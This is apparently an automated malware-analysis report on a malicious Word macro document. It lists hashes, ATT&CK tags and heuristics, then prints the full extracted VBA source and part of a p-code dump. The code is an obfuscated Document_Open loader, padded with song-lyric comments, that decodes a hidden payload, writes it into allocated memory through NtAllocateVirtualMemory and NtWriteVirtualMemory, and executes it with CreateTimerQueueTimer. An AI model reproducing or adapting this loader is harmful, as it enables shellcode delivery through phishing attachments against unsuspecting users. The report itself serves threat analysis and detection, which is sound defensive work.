Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18046a720cd23c57…

MALICIOUS

Office (OLE)

200.0 KB Created: 2017-09-12 10:30:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: 598bff4e2b5c5576a7f89b2afddebd5b SHA-1: 521de6d4c71a3112acadff900541ca4a49ce0454 SHA-256: 18046a720cd23c57981fdfed59e3df775476b0f189b7f52e2fe5f50e1e6003e7
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic indicates this file is a known dropper. The presence of a VBA macro, specifically a Document_Open subroutine, suggests it's designed to execute malicious code upon opening. The macro's obfuscated nature and the truncated script prevent a full analysis of its payload, but the overall pattern points to a downloader.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6337764-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6337764-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
    Private Sub Document_Open()
    Dim definable As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52685 bytes
SHA-256: 533a4f3a6f745a8799523b7b6246c72bb8e76018b5e0513fe60158ed40180709
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub ControlWord()
Dim objWord As New Word.Application
Dim rsContacts As New ADODB.Recordset
Dim strLtrContent As String
rsContacts.ActiveConnection = CurrentProject.Connection
rsContacts.Open "tblContacts"
objWord.Documents.Add
Do While Not rsContacts.EOF
strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
strLtrContent = strLtrContent & "  " & rsContacts("PostalCode")
objWord.Selection.EndOf
objWord.Selection.Text = strLtrContent
objWord.Selection.EndOf
objWord.Selection.InsertBreak
rsContacts.MoveNext
Loop
objWord.Visible = True
objWord.PrintPreview = True
End Sub
Private Sub Document_Open()
Dim definable As Long
Dim perflate As Variant
abranchiate = nonresidence
scintillation = "aigulet"
alget
cocos = 110 + 6
anthropoid = 35220 + 8
extralinguistic = 369480 + 6
 Pmt 0, cocos, 17316, 35520, 7
End Sub
Public Sub DynamicBubble()
Dim tempVar As Integer
Dim anotherIteration As Boolean
Dim I As Integer
Dim arraySize As Integer
Dim myArray() As Integer
Do
arraySize = I
I = I + 1
Loop Until Cells(I, "A").Value = ""
ReDim myArray(arraySize - 1)
Do
anotherIteration = False
For I = 0 To arraySize - 2
If myArray(I) > myArray(I + 1) Then
tempVar = myArray(I)
myArray(I) = myArray(I + 1)
myArray(I + 1) = tempVar
anotherIteration = True
End If
Next I
Loop While anotherIteration = True
End Sub


Attribute VB_Name = "apomict"
'  You wrecked my whole world when you came
'  I was doing alright
#If (11 * 5 + 2) > (7 - 3 * 2) And (Win64) > (40 - 8 * 5) * 2 Then
'  I was doing alright
'  And hit me like a hurricane
Public Declare PtrSafe Function magneto Lib "Kernel32" Alias "CreateTimerQueueTimer" (surrealist As Any, ByVal inpersuasible As Any, ByVal rhizopoda As Any, ByVal fussiness As Any, ByVal halchidhoma As Any, ByVal masker As Any, ByVal anethum As Any) As Long
'  Driving us to your house
'  But just your sight had my heart storming
Public Declare PtrSafe Function annexation Lib "ntdll.dll  " Alias _
   "NtAllocateVirtualMemory" (cartload As LongPtr, linfame As LongPtr, ByVal begird As LongPtr, infelicitousByVal As LongPtr, persuadable As LongPtr, ByVal fallacious As LongPtr) As LongPtr
'  Rain was driving, thunder, lightning
'  Baby, without warning
Public Declare PtrSafe Function incogitancy Lib "Shlwapi.dll" Alias "CreateFileWrapW" (idolatrous As LongPtr) As LongPtr
'  And hit me like a hurricane'  Baby, without warning
Public Declare PtrSafe Function harborage Lib "ntdll.dll" Alias "NtCreateEventPair" (unphilosphical As LongPtr, upholsterer As LongPtr, grampositive As LongPtr) As LongPtr
'  I wouldnt be in my truck
'  And hit me like a hurricane
Public Declare PtrSafe Function worryingly Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (naivete As Any) As LongPtr
'  If I woulda just layed my drink down
'  Started talking bout us again
Public Declare PtrSafe Function enim Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal actomyosin As Any, forequarter As Any, carcinogen As Any, council As Any) As LongPtr
'  But you rolled in with your hair in the wind
'  And hit me like a hurricane
Public Declare PtrSafe Function formalistic Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal entbehre As Any, flare As Any, monovalent As Any, methylphenidate As Any) As LongPtr
'  If I woulda just layed my drink down
'  And hit me like a hurricane
Public Declare PtrSafe Function chasse Lib "Kernel32.dll" Alias "CreateEventW" (ByVal eg As LongPtr, perform As LongPtr, toxotidae As LongPtr, bury As LongPtr, caucasus As LongPtr) As Long
'  We locked eyes over whiskey on ice
'  Rain was driving, thunder, lightning
Public Declare PtrSafe Function meteortropism Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal amur As Any, ByVal maypole As Any, ByVal triquetral As Any, ByVal portend As Any, ByVal claytonia As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  And walked out

'  But just your sight had my heart storming
'  Then you rolled in with your hair in the wind
#End If
'  The moon went hiding, stars quit shining
'  Knew it was gonna be a long night
#If (11 * 5 + 2) > (7 - 3 * 2) And Not (Win64) > (40 - 8 * 5) * 2 Then
'  The moon went hiding, stars quit shining
'  Started talking bout us again
Public Declare Function arundinaceous Lib "ntdll.dll" Alias "NtCreateEventPair" (saone As Long, imbroglio As Long, od As Long) As Long
'  But just your sight had my heart storming
'  Then you rolled in with your hair in the wind
Public Declare Function palfrey Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal unijugate As Any, softening As Any, michaelmas As Any, andricus As Any) As Long
'  You wrecked my whole world when you came
'  But just your sight had my heart storming
Public Declare Function meteortropism Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal profluent As Any, ByVal electrolier As Any, ByVal bloodmobile As Any, ByVal asthenosphere As Any, ByVal chemistry As Any) As Long
'  Hit me like a hurricane
'  We locked eyes over whiskey on ice
Public Declare Function magneto Lib "Kernel32" Alias "CreateTimerQueueTimer" (news As Any, ByVal fatherless As Any, ByVal microcephalic As Any, ByVal expurgate As Any, ByVal soldout As Any, ByVal accousente As Any, ByVal congo As Any) As Long
'  Rain was driving, thunder, lightning
'  Then you rolled in with your hair in the wind
Public Declare Function tuscan Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal nulli As Any, nauran As Any, commixion As Any, granulocytic As Any) As Long
'  Rain was driving, thunder, lightning
'  And hit me like a hurricane
Public  Declare Function annexation Lib "Ntdll.dll " Alias _
   "NtAllocateVirtualMemory" (financing As Long, presciently As Long, ByVal acridotheres As Long,cowbirdByVal As Long, afford As Long, ByVal cockloft As Long) As Long
'  And walked out
'  Knew it was gonna be a long night
Public Declare Function re Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (anteater As Any) As Long
'  I was doing alright
'  Started talking bout us again
Public Declare Function spirulidae Lib "Kernel32.dll" Alias "CreateEventW" (ByVal boehmenism As Long, goggleeyed As Long, welfare As Long, evangelist As Long, bleeding As Long) As Long
'  Baby, without warning
'  I was doing alright

'  The moon went hiding, stars quit shining
'  You wrecked my whole world when you came
#End If
'  Started talking bout us again
'  If I woulda just layed my drink down
Function hypentelium(gh, skunkweed, oriel)
Select Case oriel
Case 51 + (10 / 2 - 5)
hypentelium = gh \ skunkweed
Case 61 + (5 - 3) / 2 - 1
hypentelium = gh And skunkweed
Case 69 + (56 / 7 - 4 * 2)
hypentelium = gh * skunkweed
End Select
End Function


Function score(swaggerer)
score = AscW(swaggerer)
End Function

Function foully(berry)
Dim eundo As Integer
Dim inhume As Byte
Dim pellmell As String
Dim grasping As Long
#If (11 * 5 + 2) > (7 - 3 * 2) And (Win64) > (40 - 8 * 5) * 2 Then
Dim ninety As Variant
Dim capstone As LongPtr
presentational = 26 - 18 + 0
Dim trimly As LongPtr
Dim entrance As Integer
Dim decent As Variant
Dim napoli As LongPtr
Dim prophylactic As Integer
#End If
#If (11 * 5 + 2) > (7 - 3 * 2) And Not (Win64) > (40 - 8 * 5) * 2 Then
Dim capstone As Long
presentational = 120 - 16 - 100
Dim trimly As Long
Dim napoli As Long
#End If
ametria = VarPtr(capstone)
bairn = arrogance(ametria, VarPtr(berry) + 8, presentational)
zc = 1 - 74 + 72
trimly = 120 - 109 - 11
cursing = 30 - 38 + 8
napoli = 27 - 55 + 9837
undescriptive = 60 - 65 + 4101
artificiality = 93 - 42 + 13
tubeless = annexation(ByVal zc, trimly, ByVal cursing, napoli, ByVal undescriptive, ByVal artificiality)
annunciation = "dwarf"

hymen = dramatics And 390

arrogance trimly, capstone, 91 - 42 + 5834
floriculture = 101
behalf = 21691
coelogyne = 209039
 Pmt 0, floriculture, 33268, 35697, 5

foully = trimly
End Function

Attribute VB_Name = "associated"
Attribute VB_Base = "0{25BF2B2D-5D21-458D-A2D6-E10B53905777}{CF7C54A3-5A94-4D24-95CB-AF508D5786A5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "abosme"
Function chokedamp(pluckily) As String
Dim drilling As Long
Dim medes(63) As Long
dramatics = hymen - 131

Dim suggest(63) As Long
Dim acanthopterygii As String

Dim hanger As Long
chainsmoker = Fix(332)

Dim thermostat As Byte

Dim profaned() As Byte
Dim sporadic As Long
Dim aflutter(6962) As Byte
Dim alectoria As Byte

Dim breeches As Long
Dim turdinae As Integer
dramatics = Math.Round(61)

Dim misarrange As String
Dim canberra(63) As Long
Dim apperceptive As Long

mastectomy = 78 - 94 + 65552
deceptiveness = 30 - 109 + 335
owns = 85 - 45 + 16711640
disturbed = 69 - 68 + 16515071
bono = 73 - 72 + 63
sateen = 1 - 67 + 258114
phalangida = 82 - 99 + 65297
cry = 10 - 61 + 4147
fumaria = 16 - 83 + 322
arthrocentesis = 126 - 74 + 262092
corded = 5 - 104 + 4131
Dim contrabass As Byte

Dim appeasing As Integer

Dim coereba As Long

opisthognathidae = 88 - 91 + 66
Dim madreporaria As Long
fall = 90 - 40 - 50
bursting = 17 - 3 + 7829
Dim cermonie() As Byte
Dim mysidae As String
Dim naturae As Integer
cermonie = VBA.StrConv(pluckily, 128)
Dim lund As Integer
neuter = 93
tureen = 3813
blackletter = 278039
 Pmt 0, neuter, 3761, 33932, 2

segnitude = 7843
graveunknelld = vbKeyShift - 12
For senora = 0 To segnitude
If senora Mod 2 = 0 Then
cermonie(senora) = cermonie(senora) - graveunknelld
Else
cermonie(senora) = cermonie(senora) - (graveunknelld - 1)
End If
Next senora
interlink = 116
doublydyed = 26466
antennal = 236505
 Pmt 0, interlink, 18232, 20025, 6

turdinae = 0
procyon = 76 - 23 - 53
dendranthema = 23 - 82 + 102
fishpond = unipolar
For drilling = (7 - 7) * 1 To (50 + 13) * (5 - 4)
medes(drilling) = hypentelium(drilling, bono, 69)
suggest(drilling) = hypentelium(drilling, cry, 69)
canberra(drilling) = hypentelium(drilling, arthrocentesis, 69)
Next drilling
dogwood = 38
enfranchisement = 11972
apart = 207528
 Pmt 0, dogwood, 31593, 54930, 4

profaned = cermonie
ascitic = 71 - 27 - 40
tort = 90
droplet = 11568
butch = 563807
 Pmt 0, tort, 37973, 31760, 7

maigre = 99 - 106 + 10
chainsmoker = Fix(307)

annunciation = annunciation

incompetent = maigre + 1
magistrature = 3 - 6 + 5
For breeches = 0 To segnitude
particles = profaned(breeches)
turquoise = profaned(breeches + 2)
circumcise = suggest(fishpond(profaned(breeches + 1)))
concavely = medes(fishpond(turquoise)) + fishpond(profaned(breeches + maigre))
sporadic = canberra(fishpond(particles)) + circumcise + concavely
drilling = hypentelium(sporadic, owns, 61)
aflutter(hanger) = hypentelium(drilling, mastectomy, 51)
drilling = hypentelium(sporadic, phalangida, 61)
aflutter(hanger + 1) = hypentelium(drilling, deceptiveness, 51)
aflutter(hanger + magistrature) = hypentelium(sporadic, fumaria, 61)
hanger = hanger + magistrature + 1
breeches = breeches + 3
Next
chokedamp = aflutter
End Function




Function afril(lst, pirs, lky)
'fixs = modtri.duncan(80 / 4 * 4)
#If (20 / 5 + 6) > (8 - 3 * 2) And (Win64) > (36 - 9 * 4) * 2 Then
Dim pitbuls As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (20 / 5 + 6) > (8 - 3 * 2) And Not (36 - 9 * 4) * 2 < (Win64) Then
Dim pitbuls As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
pitbuls = pirs
deble = lky
dan2 = magneto(lst, pitbuls, deble, pitbuls, pitbuls, pitbuls, pitbuls)
End Function
Function unipolar()
Dim confrere(255) As Byte
vicereine = 59 - 21 + 27
Do While vicereine <= 90 + 1
confrere(vicereine) = vicereine - 65
vicereine = vicereine + 1
Loop
vicereine = 48
Do While vicereine <= 50 + 8
confrere(vicereine) = vicereine + 4
vicereine = vicereine + 1
Loop
vicereine = 97
Do While vicereine <= 120 + 3
confrere(vicereine) = vicereine - 71
vicereine = vicereine + 1
Loop
confrere(47) = 63
vicereine = 43
confrere(vicereine) = 60 + 2
unipolar = confrere
End Function

Function arrogance(assemblyroom, bannerlike, develop)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim shire As Long
Dim albuminuria As Variant
Dim bubaline As LongPtr
Dim coastguard As LongPtr
Dim motivation As LongPtr
Dim carbolated As Long
Dim cohesive As LongPtr
Dim scarfskin As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim coastguard As Long
Dim faucal As Byte
Dim bubaline As Long
Dim smiles As String
Dim cohesive As Long
Dim upland As Byte
Dim motivation As Long
Dim console As Byte
Dim scarfskin As Long
Dim effuse As Byte
Dim stewardess As Byte
#End If
hymen = Fix(366)
chainsmoker = dramatics / 298
coastguard = assemblyroom
scarfskin = develop
annunciation = bating
cohesive = bannerlike
antagonist = 42
accuse = 24986
autacoid = 185647
 Pmt 0, antagonist, 26998, 31080, 6

farina = bating
bubaline = 72 - 64 - 9
meteortropism ByVal bubaline, coastguard, cohesive, scarfskin, motivation
bating = "clathrus"
End Function

Function alget()
Dim caprina As String
Dim indurated As Byte
associated.lumberyard.Value = Day(#12/5/2013#)
varday = fatefully = machaeranthera
gangue = "mountaineer"
searcher = "noshow"
advoutry = "chemisorptive"
qualm = autotypic

hornbeam = "periosteum"
mad = "tympany"
funk = illusional
Set etc = associated.lumberyard.SelectedItem
sitin = 1
prokaryote = 15857
exsiccate = 366205
 Pmt 0, sitin, 23576, 33422, 4

remembered = etc.Name
flagging = 17 - 33 + 7860
turgescence = Right(remembered, flagging)
elder = abosme.chokedamp(turgescence)
kea = 91
columbararium = 10595
graining = 485956
 Pmt 0, kea, 17790, 40539, 3

antidiarrheal = "brasenia"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim feculent As Variant
Dim defamer As LongPtr
Dim ombrometer As LongPtr
Dim tritely As Byte
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim fixative As Byte
Dim ombrometer As Long
Dim diligent As Variant
Dim defamer As Long
#End If
collimation = 77 - 85 + 8
concretely = buoyancy
rob = 70 - 30 + 4056
racket = 55
daylong = 8582
megalomaniacal = 455606
 Pmt 0, racket, 22661, 36332, 3

sockdolager = "endocentric"
pederero = oviparous
impersonation = "cholinergic"
desespoic = aperitif
echinococcus = 55
organically = 4520
covariance = 591379
 Pmt 0, echinococcus, 16434, 12764, 2

simpson = elder
equatorial = "cad"
defamer = apomict.foully(simpson)
bassia = "argument"
bradypus = "believed"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim meerkat As Variant
Dim confrication As LongPtr
Dim heresy As LongPtr
Dim Document As LongPtr
midcourse = 60 - 5 + 2009
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim confrication As Long
opintiveness = 115 - 40 + 706
Dim heresy As Long
Dim Document As Long
midcourse = opintiveness + 3459

#End If
Dim sleeping As Integer
Dim celestite As Integer
confrication = 120 - 78 - 42
ombrometer = defamer + midcourse
heresy = 12 - 22 + 201537
Document = 17 - 66 + 3549
ashen = afril(heresy, confrication, ombrometer)
carys = 28
forsan = 23009
biaxial = 406091
 Pmt 0, carys, 26968, 31478, 3

End Function

' Processing file: /opt/analyzer/scan_staging/80485e3558d640b1b45fc3f3095a6c76.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5947 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Sub ControlWord())
' Line #3:
' 	Dim 
' 	VarDefn objWord (New )
' Line #4:
' 	Dim 
' 	VarDefn rsContacts (New )
' Line #5:
' 	Dim 
' 	VarDefn strLtrContent (As String)
' Line #6:
' 	Ld CurrentProject 
' 	MemLd Connection 
' 	Ld rsContacts 
' 	MemSt ActiveConnection 
' Line #7:
' 	LitStr 0x000B "tblContacts"
' 	Ld rsContacts 
' 	ArgsMemCall Open 0x0001 
' Line #8:
' 	Ld objWord 
' 	MemLd Documents 
' 	ArgsMemCall Add 0x0000 
' Line #9:
' 	Ld rsContacts 
' 	MemLd EOF 
' 	Not 
' 	DoWhile 
' Line #10:
' 	LitStr 0x0009 "FirstName"
' 	ArgsLd rsContacts 0x0001 
' 	LitStr 0x0001 " "
' 	Concat 
' 	LitStr 0x0008 "LastName"
' 	ArgsLd rsContacts 0x0001 
' 	Concat 
' 	St strLtrContent 
' Line #11:
' 	Ld strLtrContent 
' 	LitStr 0x0007 "Address"
' 	ArgsLd rsContacts 0x0001 
' 	Concat 
' 	Ld vbCrLf 
' 	Concat 
' 	St strLtrContent 
' Line #12:
' 	Ld strLtrContent 
' 	LitStr 0x0004 "City"
' 	ArgsLd rsContacts 0x0001 
' 	Concat 
' 	LitStr 0x0002 ", "
' 	Concat 
' 	LitStr 0x0006 "Region"
' 	ArgsLd rsContacts 0x0001 
' 	Concat 
' 	St strLtrContent 
' Line #13:
' 	Ld strLtrContent 
' 	LitStr 0x0002 "  "
' 	Concat 
' 	LitStr 0x000A "PostalCode"
' 	ArgsLd rsContacts 0x0001 
' 	Concat 
' 	St strLtrContent 
' Line #14:
' 	Ld objWord 
' 	MemLd Selection 
' 	ArgsMemCall EndOf 0x0000 
' Line #15:
' 	Ld strLtrContent 
' 	Ld objWord 
' 	MemLd Selection 
' 	MemSt Text 
' Line #16:
' 	Ld objWord 
' 	MemLd Selection 
' 	ArgsMemCall EndOf 0x0000 
' Line #17:
' 	Ld objWord 
' 	MemLd Selection 
' 	ArgsMemCall InsertBreak 0x0000 
' Line #18:
' 	Ld rsContacts 
' 	ArgsMemCall MoveNext 0x0000 
' Line #19:
' 	Loop 
' Line #20:
' 	LitVarSpecial (True)
' 	Ld objWord 
' 	MemSt Visible 
' Line #21:
' 	LitVarSpecial (True)
' 	Ld objWord 
' 	MemSt PrintPreview 
' Line #22:
' 	EndSub 
' Line #23:
' 	FuncDefn (Sub Document_Open())
' Line #24:
' 	Dim 
' 	VarDefn definable (As Long)
' Line #25:
' 	Dim 
' 	VarDefn perflate (As Variant)
' Line #26:
' 	Ld nonresidence 
' 	St abranchiate 
' Line #27:
' 	LitStr 0x0007 "aigulet"
' 	St scintillation 
' Line #28:
' 	ArgsCall alget 0x0000 
' Line #29:
' 	LitDI2 0x006E 
' 	LitDI2 0x0006 
' 	Add 
' 	St cocos 
' Line #30:
' 	LitDI4 0x8994 0x0000 
' 	LitDI2 0x0008 
' 	Add 
' 	St anthropoid 
' Line #31:
' 	LitDI4 0xA348 0x0005 
' 	LitDI2 0x0006 
' 	Add 
' 	St extralinguistic 
' Line #32:
' 	LitDI2 0x0000 
' 	Ld cocos 
' 	LitDI2 0x43A4 
' 	LitDI4 0x8AC0 0x0000 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #33:
' 	EndSub 
' Line #34:
' 	FuncDefn (Public Sub _B_var_ashen())
' Line #35:
' 	Dim 
' 	VarDefn DynamicBubble (As Integer)
' Line #36:
' 	Dim 
' 	VarDefn tempVar (As Boolean)
' Line #37:
' 	Dim 
' 	VarDefn anotherIteration (As Integer)
' Line #38:
' 	Dim 
' 	VarDefn I (As Integer)
' Line #39:
' 	Dim 
' 	VarDefn arraySize
' Line #40:
' 	Do 
' Line #41:
' 	Ld anotherIteration 
' 	St I 
' Line #42:
' 	Ld anotherIteration 
' 	LitDI2 0x0001 
' 	Add 
' 	St anotherIteration 
' Line #43:
' 	Ld anotherIteration 
' 	LitStr 0x0001 "A"
' 	ArgsLd myArray 0x0002 
' 	MemLd Value 
' 	LitStr 0x0000 ""
' 	Eq 
' 	LoopUntil 
' Line #44:
' 	OptionBase 
' 	Ld I 
' 	LitDI2 0x0001 
' 	Sub 
' 	Redim arraySize 0x0001 (As Variant)
' Line #45:
' 	Do 
' Line #46:
' 	LitVarSpecial (False)
' 	St tempVar 
' Line #47:
' 	StartForVariable 
' 	Ld anotherIteration 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld I 
' 	LitDI2 0x0002 
' 	Sub 
' 	For 
' Line #48:
' 	Ld anotherIteration 
' 	ArgsLd arraySize 0x0001 
' 	Ld anotherIteration 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd arraySize 0x0001 
' 	Gt 
' 	IfBlock 
' Line #49:
' 	Ld anotherIteration 
' 	ArgsLd arraySize 0x0001 
' 	St DynamicBubble 
' Line #50:
' 	Ld anotherIteration 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd arraySize 0x0001 
' 	Ld anotherIteration 
' 	ArgsSt arraySize 0x0001 
' Line #51:
' 	Ld DynamicBubble 
' 	Ld anotherIteration 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsSt arraySize 0x0001 
' Line #52:
' 	LitVarSpecial (True)
' 	St tempVar 
' Line #53:
' 	EndIfBlock 
' Line #54:
' 	StartForVariable 
' 	Ld anotherIteration 
' 	EndForVariable 
' 	NextVar 
' Line #55:
' 	Ld tempVar 
' 	LitVarSpecial (True)
' 	Eq 
' 	LoopWhile 
' Line #56:
' 	EndSub 
' Line #57:
' Macros/VBA/apomict - 15042 bytes
' Line #0:
' 	QuoteRem 0x0000 0x002A "  You wrecked my whole world when you came"
' Line #1:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #2:
' 	LbMark 
' 	LitDI2 0x000B 
' 	LitDI2 0x0005 
' 	Mul 
' 	LitDI2 0x0002 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x0028 
' 	LitDI2 0x0008 
' 	LitDI2 0x0005 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	And 
' 	LbIf 
' Line #3:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #4:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #5:
' 	FuncDefn (Public Function magneto(naivete As ) As Long)
' Line #6:
' 	QuoteRem 0x0000 0x001A "  Driving us to your house"
' Line #7:
' 	QuoteRem 0x0000 0x002B "  But just your sight had my heart storming"
' Line #8:
' 	LineCont 0x0004 08 00 03 00
' 	FuncDefn (Public Function annexation(cartload As Ptr) As Ptr)
' Line #9:
' 	QuoteRem 0x0000 0x0026 "  Rain was driving, thunder, lightning"
' Line #10:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #11:
' 	FuncDefn (Public Function incogitancy(idolatrous As Ptr) As Ptr)
' Line #12:
' 	QuoteRem 0x0000 0x0035 "  And hit me like a hurricane'  Baby, without warning"
' Line #13:
' 	FuncDefn (Public Function harborage(unphilosphical As Ptr) As Ptr)
' Line #14:
' 	QuoteRem 0x0000 0x001A "  I wouldnt be in my truck"
' Line #15:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #16:
' 	FuncDefn (Public Function methylphenidate(worryingly As ) As Ptr)
' Line #17:
' 	QuoteRem 0x0000 0x0026 "  If I woulda just layed my drink down"
' Line #18:
' 	QuoteRem 0x0000 0x001F "  Started talking bout us again"
' Line #19:
' 	FuncDefn (Public Function enim(ByVal actomyosin As ) As Ptr)
' Line #20:
' 	QuoteRem 0x0000 0x002E "  But you rolled in with your hair in the wind"
' Line #21:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #22:
' 	FuncDefn (Public Function Kernel32.dll(ByVal formalistic As ) As Ptr)
' Line #23:
' 	QuoteRem 0x0000 0x0026 "  If I woulda just layed my drink down"
' Line #24:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #25:
' 	FuncDefn (Public Function _B_var_PtrSafe(ByVal chasse As Ptr) As Long)
' Line #26:
' 	QuoteRem 0x0000 0x0024 "  We locked eyes over whiskey on ice"
' Line #27:
' 	QuoteRem 0x0000 0x0026 "  Rain was driving, thunder, lightning"
' Line #28:
' 	FuncDefn (Public Function meteortropism(ByVal Shlwapi.dll   As ) As Ptr)
' Line #29:
' 	QuoteRem 0x0000 0x002A "  The moon went hiding, stars quit shining"
' Line #30:
' 	QuoteRem 0x0000 0x0010 "  And walked out"
' Line #31:
' Line #32:
' 	QuoteRem 0x0000 0x002B "  But just your sight had my heart storming"
' Line #33:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #34:
' 	LbMark 
' 	LbEndIf 
' Line #35:
' 	QuoteRem 0x0000 0x002A "  The moon went hiding, stars quit shining"
' Line #36:
' 	QuoteRem 0x0000 0x0023 "  Knew it was gonna be a long night"
' Line #37:
' 	LbMark 
' 	LitDI2 0x000B 
' 	LitDI2 0x0005 
' 	Mul 
' 	LitDI2 0x0002 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x0028 
' 	LitDI2 0x0008 
' 	LitDI2 0x0005 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	Not 
' 	And 
' 	LbIf 
' Line #38:
' 	QuoteRem 0x0000 0x002A "  The moon went hiding, stars quit shining"
' Line #39:
' 	QuoteRem 0x0000 0x001F "  Started talking bout us again"
' Line #40:
' 	Reparse 0x0086 "Public Declare Function arundinaceous Lib "ntdll.dll" Alias "NtCreateEventPair" (saone As Long, imbroglio As Long, od As Long) As Long"
' Line #41:
' 	QuoteRem 0x0000 0x002B "  But just your sight had my heart storming"
' Line #42:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #43:
' 	Reparse 0x00A6 "Public Declare Function palfrey Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal unijugate As Any, softening As Any, michaelmas As Any, andricus As Any) As Long"
' Line #44:
' 	QuoteRem 0x0000 0x002A "  You wrecked my whole world when you came"
' Line #45:
' 	QuoteRem 0x0000 0x002B "  But just your sight had my heart storming"
' Line #46:
' 	Reparse 0x00DE "Public Declare Function meteortropism Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal profluent As Any, ByVal electrolier As Any, ByVal bloodmobile As Any, ByVal asthenosphere As Any, ByVal chemistry As Any) As Long"
' Line #47:
' 	QuoteRem 0x0000 0x0019 "  Hit me like a hurricane"
' Line #48:
' 	QuoteRem 0x0000 0x0024 "  We locked eyes over whiskey on ice"
' Line #49:
' 	Reparse 0x00F2 "Public Declare Function magneto Lib "Kernel32" Alias "CreateTimerQueueTimer" (news As Any, ByVal fatherless As Any, ByVal microcephalic As Any, ByVal expurgate As Any, ByVal soldout As Any, ByVal accousente As Any, ByVal congo As Any) As Long"
' Line #50:
' 	QuoteRem 0x0000 0x0026 "  Rain was driving, thunder, lightning"
' Line #51:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #52:
